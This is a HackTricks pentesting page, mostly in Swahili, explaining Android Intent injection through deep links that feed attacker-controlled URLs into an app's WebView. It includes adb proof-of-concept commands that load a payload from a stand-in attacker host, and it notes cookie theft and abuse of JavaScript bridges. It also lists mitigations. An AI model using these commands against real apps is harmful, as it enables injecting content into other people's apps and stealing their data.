Intent Injection
Reading time: 4 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Kuingilia kwa Intent kunatumia vipengele vinavyokubali Intents au data inayodhibitiwa na mshambuliaji ambayo baadaye inabadilishwa kuwa Intents. Mifano mbili za kawaida sana wakati wa pentesting ya programu za Android ni:
- Kupitisha extras zilizoundwa kwa shughuli/huduma/wasambazaji wa matangazo waliohamasishwa ambao baadaye wanapelekwa kwa vipengele vya kibinafsi, visivyoweza kusambazwa.
- Kuanza VIEW/BROWSABLE deep links zilizohamishwa ambazo zinapeleka URLs zinazodhibitiwa na mshambuliaji ndani ya WebViews za ndani au vyanzo vingine nyeti.
Deep links → WebView sink (injection ya parameter ya URL)
Ikiwa programu inatoa deep link ya mpango maalum kama:
myscheme://com.example.app/web?url=<attacker_url>
na Activity inayopokea inapeleka parameter ya url
ya kuhoji ndani ya WebView, unaweza kulazimisha programu kuonyesha maudhui ya mbali yasiyo na mipaka katika muktadha wake wa WebView.
PoC kupitia adb:
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impact
- HTML/JS inatekelezwa ndani ya profaili ya WebView ya programu.
- Ikiwa JavaScript imewezeshwa (kwa default au kutokana na ukaguzi usio sahihi), unaweza kuhesabu/kutumia vitu vyovyote vilivyo wazi vya
@JavascriptInterface
, kuiba vidakuzi vya WebView/hifadhi ya ndani, na kubadilisha.
Tazama pia:
Hitilafu ya mpangilio wa ukaguzi inayowezesha JavaScript
Hitilafu inayojirudia ni kuwezesha JavaScript (au mipangilio mingine ya WebView inayoruhusu) kabla ya orodha ya mwisho ya URL kukamilika. Ikiwa wasaidizi wa mapema wanakubali kiungo chako cha ndani na WebView imewekwa kwanza, upakiaji wako wa mwisho unafanyika huku JavaScript ikiwa tayari imewezeshwa hata kama ukaguzi wa baadaye una kasoro au umechelewa.
Nini cha kutafuta katika msimbo uliofutwa:
- Wasaidizi wengi wanaopasua/kugawanya/kurejesha URL kwa njia tofauti (normalization isiyo thabiti).
- Kuitwa kwa
getSettings().setJavaScriptEnabled(true)
kabla ya ukaguzi wa mwisho wa mwenyeji/ufunguo. - Mchakato kama: pasua → thibitisha sehemu → weka WebView → thibitisha mwisho → loadUrl.
Mitigations
- Canonicalize mara moja na thibitisha kwa ukali; fail closed.
- Wezesha JavaScript tu baada ya ukaguzi wote kupita na kabla ya kupakia maudhui ya kuaminika.
- Epuka kufichua madaraja kwa asili zisizoaminika.
Msingi mingine ya jadi ya kuingiza Intent
- startActivity/sendBroadcast kutumia
Intent
extras zinazotolewa na mshambuliaji ambazo baadaye zinarejeshwa (Intent.parseUri(...)
) na kutekelezwa. - Vipengele vya proxy vilivyotolewa vinavyosambaza Intents kwa vipengele nyeti visivyotolewa bila ukaguzi wa ruhusa.
Marejeleo
- Android – Access to app-protected components
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)
- Demonstration video
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.